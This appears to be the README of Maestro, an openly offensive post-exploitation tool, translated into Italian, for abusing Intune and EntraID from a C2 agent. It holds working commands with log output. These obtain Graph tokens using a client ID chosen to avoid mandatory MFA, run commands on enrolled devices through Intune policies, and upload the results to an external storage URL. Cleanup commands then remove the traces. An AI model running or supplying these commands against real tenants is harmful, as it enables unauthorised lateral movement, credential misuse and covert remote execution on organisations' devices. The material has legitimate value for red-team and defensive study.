
Abusing Azure services over C2
Maestro è uno strumento post-exploitation progettato per interagire con Intune/EntraID da un agente C2 sulla workstation di un utente senza richiedere la conoscenza della password dell'utente o dei flussi di autenticazione di Azure, della manipolazione dei token e della console di amministrazione basata sul web. Maestro rende molto più semplice interagire con Intune ed EntraID (e potenzialmente con altri servizi Azure) da C2, poiché l'operatore non deve ottenere la password in chiaro dell'utente, estrarre i cookie del primary refresh token (PRT) dal sistema, eseguire strumenti aggiuntivi o una sessione del browser attraverso un proxy SOCKS, o gestire flussi di autenticazione di Azure, token o criteri di accesso condizionato per eseguire azioni in Azure per conto dell'utente autenticato.
Maestro è essenzialmente un wrapper per le richieste locali di cookie PRT e per le chiamate all'API Microsoft Graph, con molte funzionalità di qualità della vita aggiunte per i red teamer. Maestro abilita percorsi di attacco tra ambienti on-prem e Azure. Ad esempio, eseguendo Maestro sulla macchina di un amministratore Intune, puoi eseguire script PowerShell su qualsiasi dispositivo iscritto senza mai conoscere le credenziali dell'amministratore, anche se MFA, conformità del dispositivo e dispositivo con join ibrido sono richiesti dai criteri di accesso condizionato.
Le funzioni di movimento laterale di Maestro sono state ispirate da Death from Above: Lateral Movement from Azure to On-Prem AD di Andy Robbins (@_wald0).
Puoi leggere ulteriori informazioni in questo post introduttivo del blog su Maestro: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/
In questo repository è presente una release compilata utilizzando la configurazione di build ReleasePlusMSAL. Nota che questa configurazione unisce le dipendenze MSAL nel file .exe ma aumenta significativamente le dimensioni del binario risultante. Se non prevedi di utilizzare il metodo -m 2 per richiedere token di accesso (SharpGetEntraToken tramite MSAL), puoi compilare una build Release e le dimensioni saranno notevolmente ridotte.
A partire da febbraio 2025, Microsoft sta implementando l'applicazione obbligatoria dell'MFA per l'autenticazione al portale di Azure e alle sue estensioni. Il metodo predefinito di richiesta del token di accesso tramite flusso di codice di autorizzazione probabilmente fallirà in questo caso, ma l'utilizzo di SharpGetEntraToken/MSAL (opzione -m 2) e la specifica di un client ID che non richiede MFA come Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2) dovrebbe continuare a funzionare.
Maestro.exe <command> [subcommand] [options]
Tutti i comandi e i sottocomandi hanno una pagina di aiuto generata utilizzando un parser della riga di comando personalizzato per mantenere al minimo le dimensioni del binario. È possibile accedere alle pagine di aiuto digitando qualsiasi comando di Maestro seguito da -h o --help.
Fai riferimento all'output dell'opzione --help di ciascun comando per le informazioni sull'utilizzo più aggiornate.
Gli esempi si trovano in fondo a questo file.
Per il debug, condivido una directory su una macchina iscritta a Intune accessibile dal mio host con Visual Studio, eseguo il debugger remoto di Visual Studio, configuro un processo di post-build per copiare i file della soluzione nella condivisione e configuro Visual Studio per il debug remoto sul sistema iscritto.
Il tempo che riesco a dedicare alla ricerca, allo sviluppo e al miglioramento di Maestro non sarebbe possibile senza il patrocinio di SpecterOps al progetto, nell'ambito del loro impegno per la trasparenza e il supporto allo sviluppo open-source. Sono immensamente grato per la loro guida e il loro supporto.
Alcune funzionalità di Maestro sono state ispirate o costruite sulla base del lavoro di altri, tra cui:
Se sei interessato a collaborare, contattami su Twitter (@_Mayyhem) o nello Slack di BloodHoundGang!
Ottieni un token di accesso per MS Graph utilizzando MSAL e il client ID di Azure PowerShell (non ancora bloccato dall'MFA obbligatoria):
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
Esegui dsregcmd.exe sul dispositivo Intune con ID e537180b-6d04-427e-bf93-dbde818400eb, caricando i risultati nell'URL SAS del contenitore BLOB di Azure Storage con un token di accesso condiviso:
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902